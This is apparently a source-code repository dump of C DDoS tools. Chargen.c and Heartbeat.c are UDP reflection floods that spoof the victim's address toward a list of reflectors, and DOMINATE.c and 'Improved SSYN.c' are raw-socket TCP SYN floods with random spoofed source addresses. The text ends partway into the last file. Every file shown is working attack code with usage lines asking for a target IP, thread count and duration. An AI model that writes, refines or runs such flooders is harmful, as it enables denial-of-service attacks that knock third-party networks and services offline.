├── Chargen.c
├── DOMINATE.c
├── Heartbeat.c
├── Improved SSYN.c
├── Netbios.c
├── Quake.c
├── README.md
├── SSDP.c
├── STCP.c
├── Syn.c
├── TS3.c
├── TriGemini.c
├── UDP.c
└── mDNS.c


/Chargen.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | #include <time.h>
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 | #include <arpa/inet.h>
 14 | #define MAX_PACKET_SIZE 8192
 15 | #define PHI 0x9e3779b9
 16 | static uint32_t Q[4096], c = 362436;
 17 | struct list
 18 | {
 19 | 	struct sockaddr_in data;
 20 | 	struct list *next;
 21 | 	struct list *prev;
 22 | };
 23 | struct list *head;
 24 | volatile int tehport;
 25 | volatile int limiter;
 26 | volatile unsigned int pps;
 27 | volatile unsigned int sleeptime = 100;
 28 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 29 | void init_rand(uint32_t x)
 30 | {
 31 | 	int i;
 32 | 	Q[0] = x;
 33 | 	Q[1] = x + PHI;
 34 | 	Q[2] = x + PHI + PHI;
 35 | 	for (i = 3; i < 4096; i++)
 36 | 	{
 37 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 38 | 	}
 39 | }
 40 | uint32_t rand_cmwc(void)
 41 | {
 42 | 	uint64_t t, a = 18782LL;
 43 | 	static uint32_t i = 4095;
 44 | 	uint32_t x, r = 0xfffffffe;
 45 | 	i = (i + 1) & 4095;
 46 | 	t = a * Q[i] + c;
 47 | 	c = (t >> 32);
 48 | 	x = t + c;
 49 | 	if (x < c) {
 50 | 	x++;
 51 | 	c++;
 52 | 	}
 53 | 	return (Q[i] = r - x);
 54 | }
 55 | unsigned short csum (unsigned short *buf, int nwords)
 56 | {
 57 | 	unsigned long sum = 0;
 58 | 	for (sum = 0; nwords > 0; nwords--)
 59 | 	sum += *buf++;
 60 | 	sum = (sum >> 16) + (sum & 0xffff);
 61 | 	sum += (sum >> 16);
 62 | 	return (unsigned short)(~sum);
 63 | }
 64 | void setup_ip_header(struct iphdr *iph)
 65 | {
 66 | 	iph->ihl = 5;
 67 | 	iph->version = 4;
 68 | 	iph->tos = 0;
 69 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 1;
 70 | 	iph->id = htonl(54321);
 71 | 	iph->frag_off = 0;
 72 | 	iph->ttl = MAXTTL;
 73 | 	iph->protocol = IPPROTO_UDP;
 74 | 	iph->check = 0;
 75 | 	iph->saddr = inet_addr("192.168.3.100");
 76 | }
 77 | void setup_udp_header(struct udphdr *udph)
 78 | {
 79 | 	udph->source = htons(5678);
 80 | 	udph->dest = htons(19);
 81 | 	udph->check = 0;
 82 | 	memset((void *)udph + sizeof(struct udphdr), 0x01, 1);
 83 | 	udph->len=htons(sizeof(struct udphdr) + 1);
 84 | }
 85 | void *flood(void *par1)
 86 | {
 87 | 	struct thread_data *td = (struct thread_data *)par1;
 88 | 	char datagram[MAX_PACKET_SIZE];
 89 | 	struct iphdr *iph = (struct iphdr *)datagram;
 90 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 91 | 	struct sockaddr_in sin = td->sin;
 92 | 	struct  list *list_node = td->list_node;
 93 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 94 | 	if(s < 0){
 95 | 	fprintf(stderr, "Could not open raw socket.\n");
 96 | 	exit(-1);
 97 | 	}
 98 | 	init_rand(time(NULL));
 99 | 	memset(datagram, 0, MAX_PACKET_SIZE);
100 | 	setup_ip_header(iph);
101 | 	setup_udp_header(udph);
102 | 	udph->source = htons(rand() % 65535 - 1026);
103 | 	iph->saddr = sin.sin_addr.s_addr;
104 | 	iph->daddr = list_node->data.sin_addr.s_addr;
105 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
106 | 	int tmp = 1;
107 | 	const int *val = &tmp;
108 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
109 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
110 | 	exit(-1);
111 | 	}
112 | 	init_rand(time(NULL));
113 | 	register unsigned int i;
114 | 	i = 0;
115 | 	while(1){
116 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
117 | 		list_node = list_node->next;
118 | 		iph->daddr = list_node->data.sin_addr.s_addr;
119 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
120 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
121 | 		
122 | 		pps++;
123 | 		if(i >= limiter)
124 | 		{
125 | 			i = 0;
126 | 			usleep(sleeptime);
127 | 		}
128 | 		i++;
129 | 	}
130 | }
131 | int main(int argc, char *argv[ ])
132 | {
133 | 	if(argc < 6){
134 | 	fprintf(stderr, "Invalid parameters!\n");
135 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
136 | 		exit(-1);
137 | 	}
138 | 	srand(time(NULL));
139 | 	int i = 0;
140 | 	head = NULL;
141 | 	fprintf(stdout, "Setting up sockets...\n");
142 | 	int max_len = 128;
143 | 	char *buffer = (char *) malloc(max_len);
144 | 	buffer = memset(buffer, 0x00, max_len);
145 | 	int num_threads = atoi(argv[4]);
146 | 	int maxpps = atoi(argv[5]);
147 | 	limiter = 0;
148 | 	pps = 0;
149 | 	int multiplier = 20;
150 | 	FILE *list_fd = fopen(argv[3],  "r");
151 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
152 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
153 | 				(buffer[strlen(buffer) - 1] == '\r')) {
154 | 			buffer[strlen(buffer) - 1] = 0x00;
155 | 			if(head == NULL)
156 | 			{
157 | 				head = (struct list *)malloc(sizeof(struct list));
158 | 				bzero(&head->data, sizeof(head->data));
159 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
160 | 				head->next = head;
161 | 				head->prev = head;
162 | 			} else {
163 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
164 | 				memset(new_node, 0x00, sizeof(struct list));
165 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
166 | 				new_node->prev = head;
167 | 				new_node->next = head->next;
168 | 				head->next = new_node;
169 | 			}
170 | 			i++;
171 | 		} else {
172 | 			continue;
173 | 		}
174 | 	}
175 | 	struct list *current = head->next;
176 | 	pthread_t thread[num_threads];
177 | 	struct sockaddr_in sin;
178 | 	sin.sin_family = AF_INET;
179 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
180 | 	struct thread_data td[num_threads];
181 | 	for(i = 0;i<num_threads;i++){
182 | 		td[i].thread_id = i;
183 | 		td[i].sin= sin;
184 | 		td[i].list_node = current;
185 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
186 | 	}
187 | 	fprintf(stdout, "Starting flood...\n");
188 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
189 | 	{
190 | 		usleep((1000/multiplier)*1000);
191 | 		if((pps*multiplier) > maxpps)
192 | 		{
193 | 			if(1 > limiter)
194 | 			{
195 | 				sleeptime+=100;
196 | 			} else {
197 | 				limiter--;
198 | 			}
199 | 		} else {
200 | 			limiter++;
201 | 			if(sleeptime > 25)
202 | 			{
203 | 				sleeptime-=25;
204 | 			} else {
205 | 				sleeptime = 0;
206 | 			}
207 | 		}
208 | 		pps = 0;
209 | 	}
210 | 	return 0;
211 | }


--------------------------------------------------------------------------------
/DOMINATE.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | static unsigned int floodport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | void init_rand(unsigned long int x)
 28 | {
 29 | 	int i;
 30 | 	Q[0] = x;
 31 | 	Q[1] = x + PHI;
 32 | 	Q[2] = x + PHI + PHI;
 33 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 34 | }
 35 | unsigned long int rand_cmwc(void)
 36 | {
 37 | 	unsigned long long int t, a = 18782LL;
 38 | 	static unsigned long int i = 4095;
 39 | 	unsigned long int x, r = 0xfffffffe;
 40 | 	i = (i + 1) & 4095;
 41 | 	t = a * Q[i] + c;
 42 | 	c = (t >> 32);
 43 | 	x = t + c;
 44 | 	if (x < c) {
 45 | 	x++;
 46 | 	c++;
 47 | 	}
 48 | 	return (Q[i] = r - x);
 49 | }
 50 | unsigned short csum (unsigned short *buf, int count)
 51 | {
 52 | 	register unsigned long sum = 0;
 53 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 54 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 55 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 56 | 	return (unsigned short)(~sum);
 57 | }
 58 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 59 | 
 60 | 	struct tcp_pseudo
 61 | 	{
 62 | 	unsigned long src_addr;
 63 | 	unsigned long dst_addr;
 64 | 	unsigned char zero;
 65 | 	unsigned char proto;
 66 | 	unsigned short length;
 67 | 	} pseudohead;
 68 | 	unsigned short total_len = iph->tot_len;
 69 | 	pseudohead.src_addr=iph->saddr;
 70 | 	pseudohead.dst_addr=iph->daddr;
 71 | 	pseudohead.zero=0;
 72 | 	pseudohead.proto=IPPROTO_TCP;
 73 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 74 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 75 | 	unsigned short *tcp = malloc(totaltcp_len);
 76 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 77 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 78 | 	unsigned short output = csum(tcp,totaltcp_len);
 79 | 	free(tcp);
 80 | 	return output;
 81 | }
 82 | void setup_ip_header(struct iphdr *iph)
 83 | {
 84 | 	iph->ihl = 5;
 85 | 	iph->version = 4;
 86 | 	iph->tos = 0;
 87 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 88 | 	iph->id = htonl(54321);
 89 | 	iph->frag_off = 0;
 90 | 	iph->ttl = MAXTTL;
 91 | 	iph->protocol = 6;
 92 | 	iph->check = 0;
 93 | 	iph->saddr = inet_addr("192.168.3.100");
 94 | }
 95 | void setup_tcp_header(struct tcphdr *tcph)
 96 | {
 97 | 	tcph->source = htons(5678);
 98 | 	tcph->seq = rand();
 99 | 	tcph->ack_seq = 1;
100 | 	tcph->res2 = 3;
101 | 	tcph->doff = 5;
102 | 	tcph->syn = 1;
103 | 	tcph->ack = 1;
104 | 	tcph->window = htons(65535);
105 | 	tcph->check = 1;
106 | 	tcph->urg_ptr = 1;
107 | }
108 | void *flood(void *par1)
109 | {
110 | 	char *td = (char *)par1;
111 | 	char datagram[MAX_PACKET_SIZE];
112 | 	struct iphdr *iph = (struct iphdr *)datagram;
113 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
114 | 	struct sockaddr_in sin;
115 | 	sin.sin_family = AF_INET;
116 | 	sin.sin_port = htons (rand() % 2048);
117 | 	sin.sin_addr.s_addr = inet_addr(td);
118 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
119 | 	if(s < 0){
120 | 	fprintf(stderr, "derped.\n");
121 | 	exit(-1);
122 | 	}
123 | 	memset(datagram, 0, MAX_PACKET_SIZE);
124 | 	setup_ip_header(iph);
125 | 	setup_tcp_header(tcph);
126 | 	tcph->dest = htons (rand() % 2048);
127 | 	iph->daddr = sin.sin_addr.s_addr;
128 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
129 | 	int tmp = 1;
130 | 	const int *val = &tmp;
131 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
132 | 	fprintf(stderr, "Unable to allocate.\n");
133 | 	exit(-1);
134 | 	}
135 | 	init_rand(time(NULL));
136 | 	register unsigned int i;
137 | 	i = 0;
138 | 	while(1){
139 | 	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
140 | 	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
141 | 	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
142 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
143 | 	tcph->seq = rand_cmwc() & 0xFFFF;
144 | 	tcph->source = htons(rand_cmwc() & 0xFFFF);
145 | 	tcph->check = 0;
146 | 	tcph->check = tcpcsum(iph, tcph);
147 | 	pps++;
148 | 	if(i >= limiter)
149 | 	{
150 | 	i = 0;
151 | 	usleep(sleeptime);
152 | 	}
153 | 	i++;
154 | 	}
155 | }
156 | int main(int argc, char *argv[ ])
157 | {
158 | 	if(argc < 5){
159 | 	fprintf(stderr, "Invalid parameters!\n");
160 | 	fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
161 | 	exit(-1);
162 | 	}
163 | 	fprintf(stdout, "Setting up Sockets...\n");
164 | 	int num_threads = atoi(argv[2]);
165 | 	int maxpps = atoi(argv[3]);
166 | 	limiter = 0;
167 | 	pps = 0;
168 | 	pthread_t thread[num_threads];
169 | 	int multiplier = 20;
170 | 	int i;
171 | 	for(i = 0;i<num_threads;i++){
172 | 	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
173 | 	}
174 | 	fprintf(stdout, "Starting Flood...\n");
175 | 	for(i = 0;i<(atoi(argv[4])*multiplier);i++)
176 | 	{
177 | 	usleep((1000/multiplier)*1000);
178 | 	if((pps*multiplier) > maxpps)
179 | 	{
180 | 	if(1 > limiter)
181 | 	{
182 | 	sleeptime+=100;
183 | 	} else {
184 | 	limiter--;
185 | 	}
186 | 	} else {
187 | 	limiter++;
188 | 	if(sleeptime > 25)
189 | 	{
190 | 	sleeptime-=25;
191 | 	} else {
192 | 	sleeptime = 0;
193 | 	}
194 | 	}
195 | 	pps = 0;
196 | 	}
197 | 	return 0;
198 | }


--------------------------------------------------------------------------------
/Heartbeat.c:
--------------------------------------------------------------------------------
  1 | /* NEW HEARTBEAT DDOS SCRIPT. USES Unreal Tournament 2004 Query port 7778. */
  2 | 
  3 | #include <time.h>
  4 | #include <pthread.h>
  5 | #include <unistd.h>
  6 | #include <stdio.h>
  7 | #include <stdlib.h>
  8 | #include <string.h>
  9 | #include <sys/socket.h>
 10 | #include <netinet/ip.h>
 11 | #include <netinet/udp.h>
 12 | #include <arpa/inet.h>
 13 | #define MAX_PACKET_SIZE 8192
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 | 	struct sockaddr_in data;
 19 | 	struct list *next;
 20 | 	struct list *prev;
 21 | };
 22 | struct list *head;
 23 | volatile int tehport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 28 | void init_rand(uint32_t x)
 29 | {
 30 | 	int i;
 31 | 	Q[0] = x;
 32 | 	Q[1] = x + PHI;
 33 | 	Q[2] = x + PHI + PHI;
 34 | 	for (i = 3; i < 4096; i++)
 35 | 	{
 36 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | 	}
 38 | }
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 | 	uint64_t t, a = 18782LL;
 42 | 	static uint32_t i = 4095;
 43 | 	uint32_t x, r = 0xfffffffe;
 44 | 	i = (i + 1) & 4095;
 45 | 	t = a * Q[i] + c;
 46 | 	c = (t >> 32);
 47 | 	x = t + c;
 48 | 	if (x < c) {
 49 | 	x++;
 50 | 	c++;
 51 | 	}
 52 | 	return (Q[i] = r - x);
 53 | }
 54 | unsigned short csum (unsigned short *buf, int nwords)
 55 | {
 56 | 	unsigned long sum = 0;
 57 | 	for (sum = 0; nwords > 0; nwords--)
 58 | 	sum += *buf++;
 59 | 	sum = (sum >> 16) + (sum & 0xffff);
 60 | 	sum += (sum >> 16);
 61 | 	return (unsigned short)(~sum);
 62 | }
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 | 	iph->ihl = 5;
 66 | 	iph->version = 4;
 67 | 	iph->tos = 0;
 68 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
 69 | 	iph->id = htonl(54321);
 70 | 	iph->frag_off = 0;
 71 | 	iph->ttl = MAXTTL;
 72 | 	iph->protocol = IPPROTO_UDP;
 73 | 	iph->check = 0;
 74 | 	iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 | void setup_udp_header(struct udphdr *udph)
 77 | {
 78 | 	udph->source = htons(5678);
 79 |         udph->dest = htons(7778);
 80 |         udph->check = 0;
 81 |         memcpy((void *)udph + sizeof(struct udphdr), "\x5c\x73\x74\x61\x74\x75\x73\x5c", 8);
 82 |         udph->len=htons(sizeof(struct udphdr) + 8);
 83 | }
 84 | void *flood(void *par1)
 85 | {
 86 | 	struct thread_data *td = (struct thread_data *)par1;
 87 | 	char datagram[MAX_PACKET_SIZE];
 88 | 	struct iphdr *iph = (struct iphdr *)datagram;
 89 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 | 	struct sockaddr_in sin = td->sin;
 91 | 	struct  list *list_node = td->list_node;
 92 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 | 	if(s < 0){
 94 | 	fprintf(stderr, "Could not open raw socket.\n");
 95 | 	exit(-1);
 96 | 	}
 97 | 	init_rand(time(NULL));
 98 | 	memset(datagram, 0, MAX_PACKET_SIZE);
 99 | 	setup_ip_header(iph);
100 | 	setup_udp_header(udph);
101 | 	udph->source = htons(rand() % 65535 - 1026);
102 | 	iph->saddr = sin.sin_addr.s_addr;
103 | 	iph->daddr = list_node->data.sin_addr.s_addr;
104 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 | 	int tmp = 1;
106 | 	const int *val = &tmp;
107 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 | 	exit(-1);
110 | 	}
111 | 	init_rand(time(NULL));
112 | 	register unsigned int i;
113 | 	i = 0;
114 | 	while(1){
115 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 | 		list_node = list_node->next;
117 | 		iph->daddr = list_node->data.sin_addr.s_addr;
118 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
119 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
120 | 		
121 | 		pps++;
122 | 		if(i >= limiter)
123 | 		{
124 | 			i = 0;
125 | 			usleep(sleeptime);
126 | 		}
127 | 		i++;
128 | 	}
129 | }
130 | int main(int argc, char *argv[ ])
131 | {
132 | 	if(argc < 6){
133 | 	fprintf(stderr, "Invalid parameters!\n");
134 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
135 | 		exit(-1);
136 | 	}
137 | 	srand(time(NULL));
138 | 	int i = 0;
139 | 	head = NULL;
140 | 	fprintf(stdout, "Setting up sockets...\n");
141 | 	int max_len = 128;
142 | 	char *buffer = (char *) malloc(max_len);
143 | 	buffer = memset(buffer, 0x00, max_len);
144 | 	int num_threads = atoi(argv[4]);
145 | 	int maxpps = atoi(argv[5]);
146 | 	limiter = 0;
147 | 	pps = 0;
148 | 	int multiplier = 20;
149 | 	FILE *list_fd = fopen(argv[3],  "r");
150 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
151 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
152 | 				(buffer[strlen(buffer) - 1] == '\r')) {
153 | 			buffer[strlen(buffer) - 1] = 0x00;
154 | 			if(head == NULL)
155 | 			{
156 | 				head = (struct list *)malloc(sizeof(struct list));
157 | 				bzero(&head->data, sizeof(head->data));
158 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
159 | 				head->next = head;
160 | 				head->prev = head;
161 | 			} else {
162 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
163 | 				memset(new_node, 0x00, sizeof(struct list));
164 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
165 | 				new_node->prev = head;
166 | 				new_node->next = head->next;
167 | 				head->next = new_node;
168 | 			}
169 | 			i++;
170 | 		} else {
171 | 			continue;
172 | 		}
173 | 	}
174 | 	struct list *current = head->next;
175 | 	pthread_t thread[num_threads];
176 | 	struct sockaddr_in sin;
177 | 	sin.sin_family = AF_INET;
178 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
179 | 	struct thread_data td[num_threads];
180 | 	for(i = 0;i<num_threads;i++){
181 | 		td[i].thread_id = i;
182 | 		td[i].sin= sin;
183 | 		td[i].list_node = current;
184 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
185 | 	}
186 | 	fprintf(stdout, "Starting flood...\n");
187 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
188 | 	{
189 | 		usleep((1000/multiplier)*1000);
190 | 		if((pps*multiplier) > maxpps)
191 | 		{
192 | 			if(1 > limiter)
193 | 			{
194 | 				sleeptime+=100;
195 | 			} else {
196 | 				limiter--;
197 | 			}
198 | 		} else {
199 | 			limiter++;
200 | 			if(sleeptime > 25)
201 | 			{
202 | 				sleeptime-=25;
203 | 			} else {
204 | 				sleeptime = 0;
205 | 			}
206 | 		}
207 | 		pps = 0;
208 | 	}
209 | 	return 0;
210 | }


--------------------------------------------------------------------------------
/Improved SSYN.c:
--------------------------------------------------------------------------------
  1 | // Improved SSYN Script - random ports, random flags. by SPAI3N.
  2 | #include <pthread.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <sys/socket.h>
  8 | #include <netinet/ip.h>
  9 | #include <netinet/tcp.h>
 10 | #include <time.h>
 11 | #define MAX_PACKET_SIZE 4096
 12 | #define PHI 0x9e3779b9
 13 | static unsigned long int Q[4096], c = 362436;
 14 | volatile int limiter;
 15 | volatile unsigned int pps;
 16 | volatile unsigned int sleeptime = 100;
 17 |  
 18 | void init_rand(unsigned long int x)
 19 | {
 20 | 		int i;
 21 | 		Q[0] = x;
 22 | 		Q[1] = x + PHI;
 23 | 		Q[2] = x + PHI + PHI;
 24 | 		for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 25 | }
 26 | unsigned long int rand_cmwc(void)
 27 | {
 28 | 		unsigned long long int t, a = 18782LL;
 29 | 		static unsigned long int i = 4095;
 30 | 		unsigned long int x, r = 0xfffffffe;
 31 | 		i = (i + 1) & 4095;
 32 | 		t = a * Q[i] + c;
 33 | 		c = (t >> 32);
 34 | 		x = t + c;
 35 | 		if (x < c) {
 36 | 				x++;
 37 | 				c++;
 38 | 		}
 39 | 		return (Q[i] = r - x);
 40 | }
 41 | unsigned short csum (unsigned short *buf, int count)
 42 | {
 43 | 		register unsigned long sum = 0;
 44 | 		while( count > 1 ) { sum += *buf++; count -= 2; }
 45 | 		if(count > 0) { sum += *(unsigned char *)buf; }
 46 | 		while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 47 | 		return (unsigned short)(~sum);
 48 | }
 49 |  
 50 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 51 |  
 52 | 		struct tcp_pseudo
 53 | 		{
 54 | 				unsigned long src_addr;
 55 | 				unsigned long dst_addr;
 56 | 				unsigned char zero;
 57 | 				unsigned char proto;
 58 | 				unsigned short length;
 59 | 		} pseudohead;
 60 | 		unsigned short total_len = iph->tot_len;
 61 | 		pseudohead.src_addr=iph->saddr;
 62 | 		pseudohead.dst_addr=iph->daddr;
 63 | 		pseudohead.zero=0;
 64 | 		pseudohead.proto=IPPROTO_TCP;
 65 | 		pseudohead.length=htons(sizeof(struct tcphdr));
 66 | 		int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 67 | 		unsigned short *tcp = malloc(totaltcp_len);
 68 | 		memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 69 | 		memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 70 | 		unsigned short output = csum(tcp,totaltcp_len);
 71 | 		free(tcp);
 72 | 		return output;
 73 | }
 74 |  
 75 | void setup_ip_header(struct iphdr *iph)
 76 | {
 77 | 		char ip[17];
 78 | 		snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
 79 | 		iph->ihl = 5;
 80 | 		iph->version = 4;
 81 | 		iph->tos = 0;
 82 | 		iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 83 | 		iph->id = htonl(rand()%54321);
 84 | 		iph->frag_off = 0;
 85 | 		iph->ttl = MAXTTL;
 86 | 		iph->protocol = 6;
 87 | 		iph->check = 0;
 88 | 		iph->saddr = inet_addr(ip);
 89 | }
 90 |  
 91 | void setup_tcp_header(struct tcphdr *tcph)
 92 | {
 93 | 		tcph->source = htons(rand()%65535);
 94 | 		tcph->seq = rand();
 95 | 		tcph->ack_seq = 0;
 96 | 		tcph->res1 = 0;
 97 | 		tcph->res2 = 0;
 98 | 		tcph->doff = 5;
 99 | 		tcph->psh = 0;
100 | 		tcph->syn = 1;
101 | 		tcph->window = htons(65535);
102 | 		tcph->check = 0;
103 | 		tcph->urg_ptr = 0;
104 | }
105 |  
106 | void *flood(void *par1)
107 | {
108 | 	char *td = (char *)par1;
109 | 	char datagram[MAX_PACKET_SIZE];
110 | 	struct iphdr *iph = (struct iphdr *)datagram;
111 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
112 |    
113 | 	struct sockaddr_in sin;
114 | 	sin.sin_family = AF_INET;
115 | 	sin.sin_port = htons(rand()%54321);
116 | 	sin.sin_addr.s_addr = inet_addr(td);
117 | 
118 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
119 | 	if(s < 0){
120 | 			fprintf(stderr, "Could not open raw socket.\n");
121 | 			exit(-1);
122 | 	}
123 | 	memset(datagram, 0, MAX_PACKET_SIZE);
124 | 	setup_ip_header(iph);
125 | 	setup_tcp_header(tcph);
126 | 	tcph->dest = htons(rand()%54321);
127 | 	iph->daddr = sin.sin_addr.s_addr;
128 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
129 | 	int tmp = 1;
130 | 	const int *val = &tmp;
131 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
132 | 			fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
133 | 			exit(-1);
134 | 	}
135 | 	init_rand(time(NULL));
136 | 	register unsigned int i;
137 | 	i = 0;
138 | 	int psh = 0;
139 | 	int res1 = 0;
140 | 	int res2 = 0;
141 | 	while(1)
142 | 	{
143 | 		if(psh > 1) psh = 1;
144 | 		if(res1 > 4) res1 = 0;
145 | 		if(res2 > 3) res2 = 0;
146 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
147 | 		setup_ip_header(iph);
148 | 		setup_tcp_header(tcph);
149 | 		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
150 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
151 | 		tcph->dest = htons(rand()%65535);
152 | 		iph->daddr = sin.sin_addr.s_addr;
153 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
154 | 		tcph->seq = rand_cmwc() & 0xFFFF;
155 | 		tcph->source = htons(rand_cmwc() & 0xFFFF);
156 | 		tcph->ack_seq = 1;
157 | 		tcph->psh = psh;
158 | 		tcph->res1 = res1;
159 | 		tcph->res2 = res2;
160 | 		tcph->check = 0;
161 | 		tcph->check = tcpcsum(iph, tcph);
162 | 		pps++;
163 | 		psh++;
164 | 		res1++;
165 | 		res2++;
166 | 		if(i >= limiter)
167 | 		{
168 | 				i = 0;
169 | 				usleep(sleeptime);
170 | 		}
171 | 		i++;
172 | 	}
173 | }
174 | int main(int argc, char *argv[ ])
175 | {
